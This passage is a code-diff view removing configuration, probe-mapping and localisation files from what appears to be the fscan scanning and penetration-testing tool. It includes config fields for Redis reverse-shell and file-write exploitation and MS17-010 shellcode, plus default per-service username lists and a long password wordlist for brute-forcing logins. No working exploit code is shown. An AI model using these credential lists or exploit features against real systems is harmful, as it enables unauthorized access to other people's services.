result := make(map[int][]string)
for port, probes := range pm.portMap {
probesCopy := make([]string, len(probes))
copy(probesCopy, probes)
result[port] = probesCopy
}
return result
}
// 全局探测器映射实例
var (
globalProbeMapping *ProbeMapping
probeMappingOnce sync.Once
)
// GetGlobalProbeMapping 获取全局探测器映射实例
func GetGlobalProbeMapping() *ProbeMapping {
probeMappingOnce.Do(func() {
globalProbeMapping = NewProbeMapping()
})
return globalProbeMapping
}

View File

@ -1,82 +0,0 @@
package config
import (
"sync"
)
// ServiceDictionary 服务字典管理器
type ServiceDictionary struct {
mu sync.RWMutex
userDict map[string][]string
passwords []string
initialized bool
}
// NewServiceDictionary 创建服务字典管理器
func NewServiceDictionary() *ServiceDictionary {
return &ServiceDictionary{
userDict: getDefaultUserDict(),
passwords: getDefaultPasswords(),
initialized: true,
}
}
// getDefaultUserDict 获取默认用户字典
func getDefaultUserDict() map[string][]string {
// 返回常量的深拷贝
result := make(map[string][]string)
for service, users := range DefaultUserDict {
usersCopy := make([]string, len(users))
copy(usersCopy, users)
result[service] = usersCopy
}
return result
}
// getDefaultPasswords 获取默认密码字典
func getDefaultPasswords() []string {
// 返回常量的副本
result := make([]string, len(DefaultPasswords))
copy(result, DefaultPasswords)
return result
}
// GetAllUserDicts 获取所有服务的用户字典
func (sd *ServiceDictionary) GetAllUserDicts() map[string][]string {
sd.mu.RLock()
defer sd.mu.RUnlock()
result := make(map[string][]string)
for service, users := range sd.userDict {
usersCopy := make([]string, len(users))
copy(usersCopy, users)
result[service] = usersCopy
}
return result
}
// GetPasswords 获取默认密码字典
func (sd *ServiceDictionary) GetPasswords() []string {
sd.mu.RLock()
defer sd.mu.RUnlock()
// 返回副本,避免外部修改
result := make([]string, len(sd.passwords))
copy(result, sd.passwords)
return result
}
// 全局服务字典实例
var (
globalServiceDict *ServiceDictionary
serviceDictOnce sync.Once
)
// GetGlobalServiceDict 获取全局服务字典实例
func GetGlobalServiceDict() *ServiceDictionary {
serviceDictOnce.Do(func() {
globalServiceDict = NewServiceDictionary()
})
return globalServiceDict
}

View File

@ -1,151 +0,0 @@
package config
import (
"sync"
"time"
"github.com/schollz/progressbar/v3"
)
// Version 版本信息
type Version struct {
Major int `json:"major"`
Minor int `json:"minor"`
Patch int `json:"patch"`
Full string `json:"full"`
}
// ApplicationConfig 应用程序配置
type ApplicationConfig struct {
Version Version `json:"version"`
ProgressBar *progressbar.ProgressBar `json:"-"`
OutputMutex sync.Mutex `json:"-"`
}
// ScanTargetConfig 扫描目标配置
type ScanTargetConfig struct {
Ports string `json:"ports"` // 要扫描的端口列表
ExcludePorts string `json:"exclude_ports"` // 要排除的端口列表
ExcludeHosts string `json:"exclude_hosts"` // 要排除的主机列表
AddPorts string `json:"add_ports"` // 额外添加的端口列表
HostPort []string `json:"host_port"` // 主机:端口格式的目标列表
}
// CredentialConfig 认证凭据配置
type CredentialConfig struct {
Username string `json:"username"` // 用于认证的用户名
Password string `json:"password"` // 用于认证的密码
AddUsers string `json:"add_users"` // 额外添加的用户名列表
AddPasswords string `json:"add_passwords"` // 额外添加的密码列表
Domain string `json:"domain"` // Active Directory/SMB域名
HashValue string `json:"hash_value"` // 用于哈希认证的单个哈希值
HashValues []string `json:"hash_values"` // 哈希值列表
HashBytes [][]byte `json:"-"` // 二进制格式的哈希值列表
HashFile string `json:"hash_file"` // 包含哈希值的文件路径
SshKeyPath string `json:"ssh_key_path"` // SSH私钥文件路径
}
// ScanControlConfig 扫描控制配置
type ScanControlConfig struct {
ScanMode string `json:"scan_mode"` // 扫描模式或指定的插件列表
ThreadNum int `json:"thread_num"` // 并发扫描线程数
ModuleThreadNum int `json:"module_thread_num"` // 模块内部线程数
Timeout int64 `json:"timeout"` // 单个扫描操作超时时间(秒)
GlobalTimeout int64 `json:"global_timeout"` // 整体扫描超时时间(秒)
// LiveTop 已移除,改为智能控制
DisablePing bool `json:"disable_ping"` // 是否禁用主机存活性检测
EnableFingerprint bool `json:"enable_fingerprint"` // 是否启用服务指纹识别
LocalMode bool `json:"local_mode"` // 是否启用本地信息收集模式
}
// InputFileConfig 输入文件配置
type InputFileConfig struct {
HostsFile string `json:"hosts_file"` // 包含目标主机的文件路径
UsersFile string `json:"users_file"` // 包含用户名列表的文件路径
PasswordsFile string `json:"passwords_file"` // 包含密码列表的文件路径
PortsFile string `json:"ports_file"` // 包含端口列表的文件路径
}
// WebScanConfig Web扫描配置
type WebScanConfig struct {
TargetURL string `json:"target_url"` // 单个目标URL
URLsFile string `json:"urls_file"` // 包含URL列表的文件路径
URLs []string `json:"urls"` // 解析后的URL目标列表
WebTimeout int64 `json:"web_timeout"` // Web请求超时时间(秒)
HttpProxy string `json:"http_proxy"` // HTTP代理地址
Socks5Proxy string `json:"socks5_proxy"` // SOCKS5代理地址
}
// VulnExploitConfig POC与漏洞利用配置
type VulnExploitConfig struct {
// POC配置
PocPath string `json:"poc_path"` // POC脚本路径
PocInfo PocInfo `json:"poc_info"` // POC详细信息结构
DisablePocScan bool `json:"disable_poc_scan"` // 是否禁用POC扫描
// Redis利用
RedisFile string `json:"redis_file"` // Redis利用目标文件
RedisShell string `json:"redis_shell"` // Redis反弹Shell命令
DisableRedis bool `json:"disable_redis"` // 是否禁用Redis利用测试
RedisWritePath string `json:"redis_write_path"` // Redis文件写入路径
RedisWriteContent string `json:"redis_write_content"` // Redis文件写入内容
RedisWriteFile string `json:"redis_write_file"` // Redis写入的源文件
// 其他漏洞利用
Shellcode string `json:"shellcode"` // 用于MS17010等漏洞利用的Shellcode
}
// BruteForceConfig 暴力破解控制配置
type BruteForceConfig struct {
DisableBrute bool `json:"disable_brute"` // 是否禁用暴力破解模块
MaxRetries int `json:"max_retries"` // 连接失败最大重试次数
}
// DisplayConfig 输出与显示配置
type DisplayConfig struct {
DisableSave bool `json:"disable_save"` // 是否禁止保存扫描结果
Silent bool `json:"silent"` // 是否启用静默模式
NoColor bool `json:"no_color"` // 是否禁用彩色输出
LogLevel string `json:"log_level"` // 日志输出级别
DisableProgress bool `json:"disable_progress"` // 是否禁用进度条
Language string `json:"language"` // 界面语言设置
}
// OutputConfig 输出配置
type OutputConfig struct {
Outputfile string `json:"output_file"` // 输出文件路径
OutputFormat string `json:"output_format"` // 输出格式
}
// NetworkConfig 网络配置
type NetworkConfig struct {
UserAgent string `json:"user_agent"` // 用户代理字符串
Accept string `json:"accept"` // Accept头部
DnsLog bool `json:"dns_log"` // 是否启用DNS日志
PocNum int `json:"poc_num"` // POC并发数
PocFull bool `json:"poc_full"` // 是否启用完整POC扫描
Cookie string `json:"cookie"` // Cookie字符串
}
// PocInfo POC详细信息结构
type PocInfo struct {
Target string `json:"target"`
PocName string `json:"poc_name"`
}
// Config 完整的配置结构
type Config struct {
Application *ApplicationConfig `json:"application"`
ScanTarget *ScanTargetConfig `json:"scan_target"`
Credential *CredentialConfig `json:"credential"`
ScanControl *ScanControlConfig `json:"scan_control"`
InputFile *InputFileConfig `json:"input_file"`
WebScan *WebScanConfig `json:"web_scan"`
VulnExploit *VulnExploitConfig `json:"vuln_exploit"`
BruteForce *BruteForceConfig `json:"brute_force"`
Display *DisplayConfig `json:"display"`
Output *OutputConfig `json:"output"`
Network *NetworkConfig `json:"network"`
LastUpdated time.Time `json:"last_updated"`
}

View File

@ -1,192 +0,0 @@
package config
// 默认探测器列表
var DefaultProbeMap = []string{
"GenericLines",
"GetRequest",
"TLSSessionReq",
"SSLSessionReq",
"ms-sql-s",
"JavaRMI",
"LDAPSearchReq",
"LDAPBindReq",
"oracle-tns",
"Socks5",
}
// 默认端口映射关系
var DefaultPortMap = map[int][]string{
1: {"GetRequest", "Help"},
7: {"Help"},
21: {"GenericLines", "Help"},
23: {"GenericLines", "tn3270"},
25: {"Hello", "Help"},
35: {"GenericLines"},
42: {"SMBProgNeg"},
43: {"GenericLines"},
53: {"DNSVersionBindReqTCP", "DNSStatusRequestTCP"},
70: {"GetRequest"},
79: {"GenericLines", "GetRequest", "Help"},
80: {"GetRequest", "HTTPOptions", "RTSPRequest", "X11Probe", "FourOhFourRequest"},
81: {"GetRequest", "HTTPOptions", "RPCCheck", "FourOhFourRequest"},
82: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
83: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
84: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
85: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
88: {"GetRequest", "Kerberos", "SMBProgNeg", "FourOhFourRequest"},
98: {"GenericLines"},
110: {"GenericLines"},
111: {"RPCCheck"},
113: {"GenericLines", "GetRequest", "Help"},
119: {"GenericLines", "Help"},
130: {"NotesRPC"},
135: {"DNSVersionBindReqTCP", "SMBProgNeg"},
139: {"GetRequest", "SMBProgNeg"},
143: {"GetRequest"},
175: {"NJE"},
199: {"GenericLines", "RPCCheck", "Socks5", "Socks4"},
214: {"GenericLines"},
264: {"GenericLines"},
311: {"LDAPSearchReq"},
340: {"GenericLines"},
389: {"LDAPSearchReq", "LDAPBindReq"},
443: {"GetRequest", "HTTPOptions", "SSLSessionReq", "TerminalServerCookie", "TLSSessionReq"},
444: {"GetRequest", "HTTPOptions", "SSLSessionReq", "TerminalServerCookie", "TLSSessionReq"},
445: {"SMBProgNeg"},
465: {"Hello", "Help", "GetRequest", "HTTPOptions", "SSLSessionReq", "TerminalServerCookie"},
502: {"GenericLines"},
503: {"GenericLines"},
513: {"GenericLines"},
514: {"GenericLines"},
515: {"LPDString"},
544: {"GenericLines"},
548: {"afp"},
554: {"GetRequest"},
563: {"GenericLines"},
587: {"Hello", "Help"},
631: {"GetRequest", "HTTPOptions"},
636: {"LDAPSearchReq", "LDAPBindReq", "SSLSessionReq"},
646: {"LDAPSearchReq", "RPCCheck"},
691: {"GenericLines"},
873: {"GenericLines"},
898: {"GetRequest"},
993: {"GenericLines", "SSLSessionReq", "TerminalServerCookie", "TLSSessionReq"},
995: {"GenericLines", "SSLSessionReq", "TerminalServerCookie", "TLSSessionReq"},
1080: {"GenericLines", "Socks5", "Socks4"},
1099: {"JavaRMI"},
1234: {"SqueezeCenter_CLI"},
1311: {"GenericLines"},
1352: {"oracle-tns"},
1414: {"ibm-mqseries"},
1433: {"ms-sql-s"},
1521: {"oracle-tns"},
1723: {"GenericLines"},
1883: {"mqtt"},
1911: {"oracle-tns"},
2000: {"GenericLines", "oracle-tns"},
2049: {"RPCCheck"},
2121: {"GenericLines", "Help"},
2181: {"GenericLines"},
2222: {"GetRequest", "GenericLines", "HTTPOptions", "Help", "SSH", "TerminalServerCookie"},
2375: {"docker", "GetRequest", "HTTPOptions"},
2376: {"docker", "GetRequest", "HTTPOptions", "SSLSessionReq"},
2484: {"oracle-tns"},
2628: {"dominoconsole"},
3000: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
3268: {"LDAPSearchReq", "LDAPBindReq"},
3269: {"LDAPSearchReq", "LDAPBindReq", "SSLSessionReq"},
3306: {"GenericLines", "GetRequest", "HTTPOptions"},
3389: {"TerminalServerCookie", "TerminalServer"},
3690: {"GenericLines"},
4000: {"GenericLines"},
4369: {"epmd"},
4444: {"GenericLines"},
4840: {"GenericLines"},
5000: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
5050: {"GenericLines"},
5060: {"SIPOptions"},
5222: {"GenericLines"},
5432: {"GenericLines"},
5555: {"GenericLines"},
5560: {"GenericLines", "oracle-tns"},
5631: {"GenericLines", "PCWorkstation"},
5672: {"GenericLines"},
5984: {"GetRequest", "HTTPOptions"},
6000: {"X11Probe"},
6379: {"redis-server"},
6432: {"GenericLines"},
6667: {"GenericLines"},
7000: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
7001: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
7002: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
7070: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
7443: {"GetRequest", "HTTPOptions", "SSLSessionReq"},
7777: {"GenericLines", "oracle-tns"},
8000: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "iperf3"},
8005: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
8008: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
8009: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "ajp"},
8080: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
8081: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
8089: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
8090: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
8443: {"GetRequest", "HTTPOptions", "SSLSessionReq"},
8888: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
9000: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
9042: {"GenericLines"},
9092: {"GenericLines", "kafka"},
9200: {"GetRequest", "HTTPOptions", "elasticsearch"},
9300: {"GenericLines"},
9999: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "adbConnect"},
10000: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
10051: {"GenericLines"},
11211: {"Memcache"},
15672: {"GetRequest", "HTTPOptions"},
27017: {"mongodb"},
27018: {"mongodb"},
50070: {"GetRequest", "HTTPOptions"},
61616: {"GenericLines"},
}
// 默认服务用户字典
var DefaultUserDict = map[string][]string{
"ftp": {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"},
"mysql": {"root", "mysql"},
"mssql": {"sa", "sql"},
"smb": {"administrator", "admin", "guest"},
"rdp": {"administrator", "admin", "guest"},
"postgresql": {"postgres", "admin"},
"ssh": {"root", "admin"},
"mongodb": {"root", "admin"},
"oracle": {"sys", "system", "admin", "test", "web", "orcl"},
"telnet": {"root", "admin", "test"},
"elastic": {"elastic", "admin", "kibana"},
"rabbitmq": {"guest", "admin", "administrator", "rabbit", "rabbitmq", "root"},
"kafka": {"admin", "kafka", "root", "test"},
"activemq": {"admin", "root", "activemq", "system", "user"},
"ldap": {"admin", "administrator", "root", "cn=admin", "cn=administrator", "cn=manager"},
"smtp": {"admin", "root", "postmaster", "mail", "smtp", "administrator"},
"imap": {"admin", "mail", "postmaster", "root", "user", "test"},
"pop3": {"admin", "root", "mail", "user", "test", "postmaster"},
"zabbix": {"Admin", "admin", "guest", "user"},
"rsync": {"rsync", "root", "admin", "backup"},
"cassandra": {"cassandra", "admin", "root", "system"},
"neo4j": {"neo4j", "admin", "root", "test"},
}
// 默认密码字典
var DefaultPasswords = []string{
"123456", "admin", "admin123", "root", "", "pass123", "pass@123",
"password", "Password", "P@ssword123", "123123", "654321", "111111",
"123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}",
"{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123",
"{user}#123", "{user}@111", "{user}@2019", "{user}@123#4",
"P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test",
"test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666",
"a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888",
"!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111",
"a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123",
"Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ",
"2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456",
"1q2w3e", "Charge123", "Aa123456789", "elastic123",
}

View File

@ -1,196 +0,0 @@
package common
import (
"sync"
"time"
"github.com/schollz/progressbar/v3"
"github.com/shadow1ng/fscan/common/base"
"github.com/shadow1ng/fscan/common/logging"
)
/*
globals.go - 全局变量定义
使用线程安全的配置管理消除双向同步机制直接使用core包作为唯一数据源
保持向后兼容的同时提供并发安全的访问
*/
// =============================================================================
// 版本信息
// =============================================================================
var version = "2.2.0"
// =============================================================================
// 简化的全局状态管理(仅保留必要的同步机制)
// =============================================================================
// globalState已简化因为大部分管理函数未被使用
// 保留基本的时间记录用于向后兼容
var startTimeInit = time.Now()
// =============================================================================
// 核心扫描配置 - 直接使用core包变量单一数据源
// =============================================================================
var (
ScanMode string // 直接映射到base.ScanMode
ThreadNum int // 直接映射到base.ThreadNum
Timeout int64 // 直接映射到base.Timeout
DisablePing bool // 直接映射到base.DisablePing
LocalMode bool // 直接映射到base.LocalMode
LocalPlugin string // 本地插件选择
AliveOnly bool // 仅存活探测模式
)
// =============================================================================
// 基础认证配置 - 直接使用core包变量
// =============================================================================
var (
Username string // 直接映射到base.Username
Password string // 直接映射到base.Password
Userdict map[string][]string // 直接映射到base.Userdict
Passwords []string // 直接映射到base.Passwords
)
// =============================================================================
// 网络配置 - 直接使用core包变量
// =============================================================================
var (
HttpProxy string // 直接映射到base.HttpProxy
Socks5Proxy string // 直接映射到base.Socks5Proxy
)
// =============================================================================
// 显示控制 - 直接使用core包变量
// =============================================================================
var (
NoColor bool // 直接映射到base.NoColor
Language string // 直接映射到base.Language
LogLevel string // 直接映射到base.LogLevel
// 进度条控制
ShowProgress bool // 计算得出:!DisableProgress
)
// =============================================================================
// 端口映射 - 直接使用core包变量
// =============================================================================
var (
PortMap map[int][]string // 直接映射到base.PortMap
DefaultMap []string // 直接映射到base.DefaultMap
)
// =============================================================================
// 线程安全的输出状态管理(已移除未使用的函数)
// =============================================================================
// 注意GetOutputfile, SetOutputfile, GetOutputFormat, SetOutputFormat,
// GetProgressBar, SetProgressBar, GetStats, SetStats, IncrementNum等函数
// 已根据死代码分析移除,因为它们在代码库中没有被使用。
// 如有需要,可以通过直接访问向后兼容的全局变量实现相同功能。
// =============================================================================
// 核心配置同步(线程安全)
// =============================================================================
// SyncFromCore 从core包同步配置到common包读操作
func SyncFromCore() {
ScanMode = base.ScanMode
ThreadNum = base.ThreadNum
Timeout = base.Timeout
DisablePing = base.DisablePing
LocalMode = base.LocalMode
LocalPlugin = base.LocalPlugin
Username = base.Username
Password = base.Password
Userdict = base.Userdict
Passwords = base.Passwords
HttpProxy = base.HttpProxy
Socks5Proxy = base.Socks5Proxy
NoColor = base.NoColor
Language = base.Language
LogLevel = base.LogLevel
PortMap = base.PortMap
DefaultMap = base.DefaultMap
}
// SyncToCore 同步common包配置到core包写操作
func SyncToCore() {
base.ScanMode = ScanMode
base.ThreadNum = ThreadNum
base.Timeout = Timeout
base.DisablePing = DisablePing
base.LocalMode = LocalMode
base.LocalPlugin = LocalPlugin
base.Username = Username
base.Password = Password
base.Userdict = Userdict
base.Passwords = Passwords
base.HttpProxy = HttpProxy
base.Socks5Proxy = Socks5Proxy
base.NoColor = NoColor
base.Language = Language
base.LogLevel = LogLevel
base.PortMap = PortMap
base.DefaultMap = DefaultMap
}
// =============================================================================
// 向后兼容的全局变量
// =============================================================================
var (
// 输出配置(向后兼容)
Outputfile string
OutputFormat string
ProgressBar *progressbar.ProgressBar
OutputMutex sync.Mutex
// 统计信息(向后兼容)
Num, End int64
StartTime = time.Now()
)
// =============================================================================
// 日志级别常量
// =============================================================================
const (
LogLevelAll = string(logging.LevelAll)
LogLevelError = string(logging.LevelError)
LogLevelBase = string(logging.LevelBase)
LogLevelInfo = string(logging.LevelInfo)
LogLevelSuccess = string(logging.LevelSuccess)
LogLevelDebug = string(logging.LevelDebug)
LogLevelInfoSuccess = string(logging.LevelInfoSuccess)
LogLevelBaseInfoSuccess = string(logging.LevelBaseInfoSuccess)
)
// =============================================================================
// 初始化
// =============================================================================
func init() {
// 初始化core包配置
base.InitGlobalConfig()
// 从core包同步初始配置
SyncFromCore()
// 初始化向后兼容的时间变量
StartTime = startTimeInit
}

1117
Common/i18n.go Normal file

File diff suppressed because it is too large Load Diff

View File

@ -1,48 +0,0 @@
package i18n
import (
"github.com/shadow1ng/fscan/common/i18n/messages"
)
/*
init.go - 国际化模块统一初始化
自动加载所有分类消息到全局管理器
确保所有消息在程序启动时正确注册
*/
// init 统一初始化所有国际化消息
func init() {
// 按类别依次加载所有消息
loadAllMessages()
}
// loadAllMessages 加载所有分类的消息
func loadAllMessages() {
// 加载核心系统消息
AddMessages(messages.CoreMessages)
// 加载解析相关消息
AddMessages(messages.ParseMessages)
// 加载配置相关消息
AddMessages(messages.ConfigMessages)
// 加载扫描相关消息
AddMessages(messages.ScanMessages)
// 加载网络相关消息
AddMessages(messages.NetworkMessages)
// 加载输出相关消息
AddMessages(messages.OutputMessages)
// 加载通用错误消息
AddMessages(messages.ErrorMessages)
// 加载命令行参数消息
AddMessages(messages.FlagMessages)
// 加载插件相关消息
AddMessages(messages.PluginMessages)
}

View File

@ -1,220 +0,0 @@
package i18n
import (
"fmt"
"sync"
)
/*
manager.go - 国际化管理器
提供统一的国际化文本管理支持多语言动态切换
包含完整的消息库和高效的文本查询机制
*/
// =============================================================================
// 常量定义
// =============================================================================
// 支持的语言常量
const (
LangZH = "zh" // 中文
LangEN = "en" // 英文
)
// 默认配置
const (
DefaultLanguage = LangZH // 默认语言
FallbackLanguage = LangEN // 回退语言
)
// =============================================================================
// 国际化管理器
// =============================================================================
// Manager 国际化管理器
type Manager struct {
mu sync.RWMutex
currentLanguage string
fallbackLanguage string
messages map[string]map[string]string
enabled bool
}
// 全局管理器实例
var globalManager = NewManager()
// NewManager 创建新的国际化管理器
func NewManager() *Manager {
return &Manager{
currentLanguage: DefaultLanguage,
fallbackLanguage: FallbackLanguage,
messages: make(map[string]map[string]string),
enabled: true,
}
}
// =============================================================================
// 基础管理方法
// =============================================================================
// SetLanguage 设置当前语言
func (m *Manager) SetLanguage(lang string) {
m.mu.Lock()
defer m.mu.Unlock()
m.currentLanguage = lang
}
// SetFallbackLanguage 设置回退语言
func (m *Manager) SetFallbackLanguage(lang string) {
m.mu.Lock()
defer m.mu.Unlock()
m.fallbackLanguage = lang
}
// Enable 启用国际化
func (m *Manager) Enable() {
m.mu.Lock()
defer m.mu.Unlock()
m.enabled = true
}
// =============================================================================================
// 已删除的死代码函数未使用GetLanguage, Disable
// =============================================================================================
// IsEnabled 检查是否启用国际化
func (m *Manager) IsEnabled() bool {
m.mu.RLock()
defer m.mu.RUnlock()
return m.enabled
}
// =============================================================================
// 消息管理方法
// =============================================================================
// AddMessages 批量添加消息
func (m *Manager) AddMessages(messages map[string]map[string]string) {
m.mu.Lock()
defer m.mu.Unlock()
for key, translations := range messages {
m.messages[key] = translations
}
}
// GetMessage 获取指定键和语言的消息
func (m *Manager) GetMessage(key, lang string) (string, bool) {
m.mu.RLock()
defer m.mu.RUnlock()
if translations, exists := m.messages[key]; exists {
if message, exists := translations[lang]; exists {
return message, true
}
}
return "", false
}
// =============================================================================================
// 已删除的死代码函数(未使用):
// AddMessage, HasMessage, GetAllMessages, GetMessageCount, GetSupportedLanguages
// =============================================================================================
// =============================================================================
// 文本获取方法
// =============================================================================
// GetText 获取国际化文本(支持格式化)
func (m *Manager) GetText(key string, args ...interface{}) string {
if !m.IsEnabled() {
// 如果禁用国际化,返回原始键名
if len(args) > 0 {
return fmt.Sprintf(key, args...)
}
return key
}
m.mu.RLock()
currentLang := m.currentLanguage
fallbackLang := m.fallbackLanguage
m.mu.RUnlock()
// 尝试获取当前语言的消息
if message, exists := m.GetMessage(key, currentLang); exists {
if len(args) > 0 {
return fmt.Sprintf(message, args...)
}
return message
}
// 回退到回退语言
if currentLang != fallbackLang {
if message, exists := m.GetMessage(key, fallbackLang); exists {
if len(args) > 0 {
return fmt.Sprintf(message, args...)
}
return message
}
}
// 如果都没找到,返回键名作为兜底
if len(args) > 0 {
return fmt.Sprintf(key, args...)
}
return key
}
// =============================================================================================
// 已删除的死代码函数未使用GetTextWithLanguage
// =============================================================================================
// =============================================================================
// 全局访问函数
// =============================================================================
// SetLanguage 设置全局语言
func SetLanguage(lang string) {
globalManager.SetLanguage(lang)
}
// AddMessages 批量添加消息到全局管理器
func AddMessages(messages map[string]map[string]string) {
globalManager.AddMessages(messages)
}
// GetText 从全局管理器获取国际化文本
func GetText(key string, args ...interface{}) string {
return globalManager.GetText(key, args...)
}
// GetExploitMethodName 获取利用方法的本地化名称
func GetExploitMethodName(methodName string) string {
// 尝试获取本地化的方法名称
key := fmt.Sprintf("exploit_method_name_%s", methodName)
localizedName := globalManager.GetText(key)
// 如果没有找到对应的本地化名称,返回原始名称
if localizedName == key {
return methodName
}
return localizedName
}
// =============================================================================================
// 已删除的死代码函数(未使用):
// GetGlobalManager, GetLanguage, AddMessage, GetTextWithLanguage,
// Enable, Disable, IsEnabled, HasMessage, GetMessageCount, GetSupportedLanguages
// =============================================================================================
// =============================================================================
// 初始化函数
// =============================================================================
// init 初始化全局国际化管理器
func init() {
// 设置默认配置
globalManager.SetLanguage(DefaultLanguage)
globalManager.SetFallbackLanguage(FallbackLanguage)
globalManager.Enable()
}

View File

@ -1,79 +0,0 @@
package messages
/*
config.go - 配置相关消息
包含配置管理验证同步等相关的
国际化消息定义
*/
// ConfigMessages 配置相关消息
var ConfigMessages = map[string]map[string]string{
// ========================= 配置相关消息 =========================
"config_sync_start": {
LangZH: "开始同步配置",
LangEN: "Starting configuration sync",
},
"config_sync_complete": {
LangZH: "配置同步完成",
LangEN: "Configuration sync completed",
},
"config_validation_start": {
LangZH: "开始配置验证",
LangEN: "Starting configuration validation",
},
"config_validation_complete": {
LangZH: "配置验证完成",
LangEN: "Configuration validation completed",
},
"config_invalid_scan_mode": {
LangZH: "无效的扫描模式: %s",
LangEN: "Invalid scan mode: %s",
},
"config_invalid_thread_num": {
LangZH: "无效的线程数: %d",
LangEN: "Invalid thread number: %d",
},
"config_invalid_timeout": {
LangZH: "无效的超时时间: %v",
LangEN: "Invalid timeout: %v",
},
"config_invalid_proxy": {
LangZH: "无效的代理配置: %s",
LangEN: "Invalid proxy configuration: %s",
},
"config_missing_required": {
LangZH: "缺少必需的配置项: %s",
LangEN: "Missing required configuration: %s",
},
"config_load_default": {
LangZH: "加载默认配置",
LangEN: "Loading default configuration",
},
"config_override_detected": {
LangZH: "检测到配置覆盖: %s",
LangEN: "Configuration override detected: %s",
},
"config_web_timeout_warning": {
LangZH: "Web超时时间大于普通超时时间可能导致不期望的行为",
LangEN: "Web timeout is larger than normal timeout, may cause unexpected behavior",
},
// ========================= 验证相关消息 =========================
"validation_start": {
LangZH: "开始配置验证",
LangEN: "Starting configuration validation",
},
"validation_complete": {
LangZH: "配置验证完成",
LangEN: "Configuration validation completed",
},
"validation_warning": {
LangZH: "验证警告: %s",
LangEN: "Validation warning: %s",
},
"validation_error": {
LangZH: "验证错误: %s",
LangEN: "Validation error: %s",
},
}

View File

@ -1,13 +0,0 @@
package messages
/*
constants.go - 消息包常量定义
包含消息包中使用的语言常量避免循环导入问题
*/
// 语言常量
const (
LangZH = "zh" // 中文
LangEN = "en" // 英文
)

View File

@ -1,93 +0,0 @@
package messages
/*
core.go - 核心系统消息
包含系统核心功能的国际化消息包括扫描流程
系统状态通用错误等基础消息
*/
// CoreMessages 核心系统消息
var CoreMessages = map[string]map[string]string{
// ========================= 系统状态消息 =========================
"status_scan_start": {
LangZH: "开始扫描",
LangEN: "Starting scan",
},
"status_scan_complete": {
LangZH: "扫描完成",
LangEN: "Scan completed",
},
"status_scan_progress": {
LangZH: "扫描进度: %d/%d",
LangEN: "Scan progress: %d/%d",
},
"status_target_found": {
LangZH: "发现目标: %s",
LangEN: "Target found: %s",
},
"status_service_detected": {
LangZH: "检测到服务: %s",
LangEN: "Service detected: %s",
},
"status_vuln_found": {
LangZH: "发现漏洞: %s",
LangEN: "Vulnerability found: %s",
},
"status_connection_failed": {
LangZH: "连接失败: %s",
LangEN: "Connection failed: %s",
},
"status_timeout": {
LangZH: "连接超时: %s",
LangEN: "Connection timeout: %s",
},
// ========================= 通用状态消息 =========================
"status_initializing": {
LangZH: "正在初始化...",
LangEN: "Initializing...",
},
"status_processing": {
LangZH: "正在处理...",
LangEN: "Processing...",
},
"status_completed": {
LangZH: "已完成",
LangEN: "Completed",
},
"status_failed": {
LangZH: "失败",
LangEN: "Failed",
},
"status_cancelled": {
LangZH: "已取消",
LangEN: "Cancelled",
},
"status_ready": {
LangZH: "就绪",
LangEN: "Ready",
},
// ========================= 文件操作消息 =========================
"file_read_start": {
LangZH: "开始读取文件: %s",
LangEN: "Starting to read file: %s",
},
"file_read_complete": {
LangZH: "文件读取完成: %s",
LangEN: "File reading completed: %s",
},
"file_read_error": {
LangZH: "读取文件错误: %s",
LangEN: "File reading error: %s",
},
"file_not_exist": {
LangZH: "文件不存在: %s",
LangEN: "File does not exist: %s",
},
"file_empty": {
LangZH: "文件为空: %s",
LangEN: "File is empty: %s",
},
}

View File

@ -1,33 +0,0 @@
package messages
/*
error.go - 通用错误消息
包含通用错误异常处理等相关的
国际化消息定义
*/
// ErrorMessages 通用错误消息
var ErrorMessages = map[string]map[string]string{
// ========================= 通用错误消息 =========================
"error_occurred": {
LangZH: "错误: %v",
LangEN: "Error: %v",
},
"error_unknown": {
LangZH: "未知错误",
LangEN: "Unknown error",
},
"error_not_implemented": {
LangZH: "功能未实现",
LangEN: "Feature not implemented",
},
"error_permission_denied": {
LangZH: "权限不足",
LangEN: "Permission denied",
},
"error_resource_busy": {
LangZH: "资源忙碌",
LangEN: "Resource busy",
},
}

View File

@ -1,253 +0,0 @@
package messages
/*
flag.go - 命令行参数消息
包含命令行参数帮助信息等相关的
国际化消息定义
*/
// FlagMessages 命令行参数消息
var FlagMessages = map[string]map[string]string{
// ========================= Flag参数帮助消息 =========================
"flag_host": {
LangZH: "目标主机: IP, IP段, IP段文件, 域名",
LangEN: "Target host: IP, IP range, IP file, domain",
},
"flag_exclude_hosts": {
LangZH: "排除主机",
LangEN: "Exclude hosts",
},
"flag_ports": {
LangZH: "端口: 默认1000个常用端口",
LangEN: "Ports: default 1000 common ports",
},
"flag_exclude_ports": {
